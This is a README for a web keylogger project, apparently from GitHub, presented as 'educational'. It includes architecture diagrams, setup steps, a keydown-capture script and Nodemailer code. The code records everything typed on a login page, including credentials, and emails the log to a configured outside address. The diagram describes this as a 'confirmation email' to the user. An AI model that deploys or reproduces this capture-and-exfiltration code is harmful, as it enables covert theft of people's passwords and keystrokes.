A comprehensive educational project demonstrating client-server communication, event handling, and data processing in web applications. This implementation focuses on understanding keystroke capture mechanisms and secure data transmission protocols.
flowchart TD
classDef frontend fill:#42A5F5,color:#fff,stroke:#1976D2
classDef backend fill:#66BB6A,color:#fff,stroke:#388E3C
classDef storage fill:#FFA726,color:#000,stroke:#F57C00
subgraph Frontend[Frontend Layer]
UI[Login Form]:::frontend
KS[Keystroke Capture]:::frontend
FM[Form Manager]:::frontend
end
subgraph Backend[Backend Services]
Server[Express Server]:::backend
KEYS[Keystroke Processor]:::backend
Email[Nodemailer Service]:::backend
end
subgraph Storage[Configuration]
ENV[.env Configuration]:::storage
end
UI --> KS
KS --> FM
FM --> Server
Server --> KEYS
KEYS --> Email
ENV -.-> Server
subgraph Legend[Component Types]
F[Frontend Components]:::frontend
B[Backend Services]:::backend
S[Storage/Config]:::storage
end
- π΅ Frontend Layer: Handles user interaction and keystroke capture
- π’ Backend Services: Processes captured data and manages email transmission
- π‘ Configuration: Stores environment variables and settings
π project-root/
βββ π index.js # Backend server implementation
βββ π script.js # Frontend keystroke capture
βββ π index.html # Login form interface
βββ π keycodes.js # Key mapping definitions
βββ π styles.css # UI styling
βββ π .env # Environment configuration
sequenceDiagram
participant User
participant Form as Login Form
participant KC as Keystroke Capture
participant FM as Form Manager
participant Server as Express Server
participant KP as Keystroke Processor
participant Email as Nodemailer Service
Note over User,Email: Normal Login Flow
User->>Form: Enter credentials
Form->>KC: Capture keystrokes
KC->>FM: Store captured keys
User->>FM: Submit form
FM->>Server: Send credentials + keystrokes
Note over Server,Email: Processing Phase
Server->>KP: Process keystroke data
KP->>Email: Prepare email payload
Email-->>User: Send confirmation email
Note over User,Email: Error Handling
alt Invalid Credentials
Server-->>User: Return error message
else Email Failure
Email-->>Server: Report delivery error
end
- π΅ Normal Login Flow β User interaction and data capture
- π’ Processing Phase β Data handling and transmission
- π‘ Error Handling β Robust fault tolerance mechanisms
git clone https://github.com/pranaykumar2/keylogger.git
npm install
GMAILFROM=your-from-email@gmail.com
PASSWORD=your-email-password
GMAILTO=your-to-email@gmail.com
PORT=3000
node index.js
document.addEventListener('keydown', (event) => {
const keyInfo = {
keyCode: event.keyCode,
key: event.key,
timestamp: new Date().getTime(),
eventType: 'keydown'
};
capturedKeys.push(keyInfo);
});
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: process.env.GMAILFROM,
pass: process.env.PASSWORD
}
});
const mailOptions = {
from: process.env.GMAILFROM,
to: process.env.GMAILTO,
subject: 'Keystrokes Log',
text: `Keystrokes log for user ${username}:
${keysPressedText}`
};
- β Use environment variables to store sensitive credentials
- β Implement error handling and logging for robust operations
- β Use secure communication protocols to prevent data leaks
- β Regularly update dependencies to prevent vulnerabilities
- Go to your Google Account App Passwords: Google App Passwords
- Name your app and create the password
- Copy the generated password and use it in the
.env
file
- π Launch the application at
localhost:3000
- π Enter login credentials in the form
- β¨οΈ Type any additional text while the page is active
- π€ Submit the form to trigger email transmission
π· Frontend: HTML, CSS, JavaScript
π· Backend: Node.js, Express.js
π· Utilities: Nodemailer, Body-parser
π· Development: Git
- π Open an issue before submitting major changes
- π Follow the existing code style for consistency
- π Include comprehensive test cases when adding features
- π Document new features thoroughly in the README
Released under the MIT License. See LICENSE
file for details.